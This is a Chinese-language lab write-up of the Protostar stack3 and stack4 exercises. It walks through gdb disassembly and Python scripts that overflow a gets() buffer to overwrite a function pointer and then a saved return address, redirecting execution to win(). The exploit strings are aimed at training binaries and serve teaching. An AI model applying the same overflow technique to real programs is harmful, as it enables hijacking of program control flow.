0x09_缓冲区溢出_重定向执行
stack3_源代码分析
- stack3源代码
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
- Hint:both gdb and objdump is your friend you determining where the win() function lies in memory.
- 可以使用 gdb 和 objdump 来确定 win() 函数在内存中的位置
- 从源代码可以看出,stack3 程序用一个奇怪的语法定义了
fp
函数,在 if 代码块中判断fp
的值,若fp
不为零则执行fp
所指向的地址的函数
stack3_gdb分析
分析一
- 执行以下代码
x win # 查看 win 函数在内存中的地址 p win # 作用同上 set disassembly-flavor # 设置汇编风格 disassemble main # 反汇编
- 执行结果
0x08048438 <main+0>: push ebp 0x08048439 <main+1>: mov ebp,esp 0x0804843b <main+3>: and esp,0xfffffff0 0x0804843e <main+6>: sub esp,0x60 0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0 0x08048449 <main+17>: lea eax,[esp+0x1c] 0x0804844d <main+21>: mov DWORD PTR [esp],eax 0x08048450 <main+24>: call 0x8048330 <gets@plt> 0x08048455 <main+29>: cmp DWORD PTR [esp+0x5c],0x0 0x0804845a <main+34>: je 0x8048477 <main+63> 0x0804845c <main+36>: mov eax,0x8048560 0x08048461 <main+41>: mov edx,DWORD PTR [esp+0x5c] 0x08048465 <main+45>: mov DWORD PTR [esp+0x4],edx 0x08048469 <main+49>: mov DWORD PTR [esp],eax 0x0804846c <main+52>: call 0x8048350 <printf@plt> 0x08048471 <main+57>: mov eax,DWORD PTR [esp+0x5c] 0x08048475 <main+61>: call eax 0x08048477 <main+63>: leave 0x08048478 <main+64>: ret
mov DWORD PTR [esp+0x5c],0x0
对应源码中的fp = 0;
,fp
的地址就是esp+0x5c
cmp DWORD PTR [esp+0x5c],0x0
对应源码中的if(fp)
,判断fp
是否为 0;je 0x8048477 <main+63>
如果fp
为 0,则程序结束,否则继续执行下面的语句mov eax,DWORD PTR [esp+0x5c]
将fp
的值加载到 eax 中,然后调用该地址
分析二
-
执行代码
break *0x08048475 # 在调用 fp 函数处打断点 r # 执行 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # 输入足够多的字符覆盖栈上的 eax 的值 info registers # 查看寄存器
- 查看结果
- 查看结果
-
继续执行会得到报错,这是由于 eax 被 字符
'A'
覆盖,程序会执行一个无效的内存地址 -
所以接下来的任务就是找到这个内存地址的偏移位置。
- 使用 python 程序简化输入过程
# protostar 上面的默认 python 版本是 2.6.6,语法略有不同 # /tmp/stack.py ch = 0x41 res = '' while ch <= 0x5a: # Z res += chr(ch) * 4 ch += 1 print res
- 将输出保存到文件中
python stack.py > exp
- 使用 python 程序简化输入过程
-
执行代码
r < /tmp/exp # 重定向标准输入中的文件内容 info registers
- 查看结果
- 查看结果
-
此时 eax 被更改为
0x51515151
,51 是字符Q
的 ASCII 码,这时可以看出刚才生成的字符串的 Q 的部分覆盖了 eax。我们可以将 padding 改写为前面的填充加上win()
函数的内存地址,从而使得程序能够执行win()
函数。在 gdb 中通过指令x win
得到win()
的地址为0x8048424
-
修改 python 程序
ch = 0x41 padding = '' while ch < 0x51: padding += chr(ch) * 4 ch += 1 # 注意大小端序,当然实际操作的时候 # 发现地址不对自己将数字反转调整一下就行了 padding += "\x24\x84\x04\x08" # 0x8048424 print padding
-
将输出保存,在 gdb 输入 padding,eax 的值成功被修改为
win()
的地址,并执行win()
中的语句
stack4_源代码分析
- stack4源代码
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
- 源代码非常简单,没有像 stack0 和 stack3 一样可以篡改的变量
- 回顾破解 stack0 中学到的关于栈的知识:
call
指令会将当前指令的下一条指令入栈,然后跳转到要执行的指令地址- 当跳转到的指令执行完毕后,栈顶的值变为
call
指令的下一条指令地址,ret
指令就是将该地址弹出到指令寄存器中,这样回到了当初发生跳转的位置 - 当一个函数被调用时,想要返回的地址就会存储在栈中,我们可以溢出返回指针,而不是溢出局部变量
- 回到 stack4 的源代码中,当
main
返回时,通过溢出返回指针,可以使程序读取错误的值并跳转到那里
stack4_gdb分析
- 和 stack3 的分析步骤基本相似
- 编写溢出测试字符串
ch = 0x41 res = '' while ch <= 0x5a: # Z res += chr(ch) * 4 ch += 1 print res
- 将输出保存
python stack.py > exp
- gdb 中输入
r < /tmp/exp info registers
- 查看结果,定位到偏移位置为T(ASCII码值为 0x54)
- 查看 win 的地址
objdump -t stack4 | grep win # 080483f4
- 编写溢出字符串
import struct ch = 0x41 padding = '' while ch < 0x53: # R。S的位置为ebp,T的位置为eip padding += chr(ch) * 4 ch += 1 ebp = "AAAA" # ebp 的值无关紧要,随便填充 eip = struct.pack("I",0x080483f4) padding = padding + ebp + eip print padding
- gdb 中输入溢出字符串,成功执行
win()
函数
参考资料
Live Overflow Binary Hacking (中英CC机翻) 1-16 Buffer Overflow Examples, Taking control of the instruction pointer - protostar stack4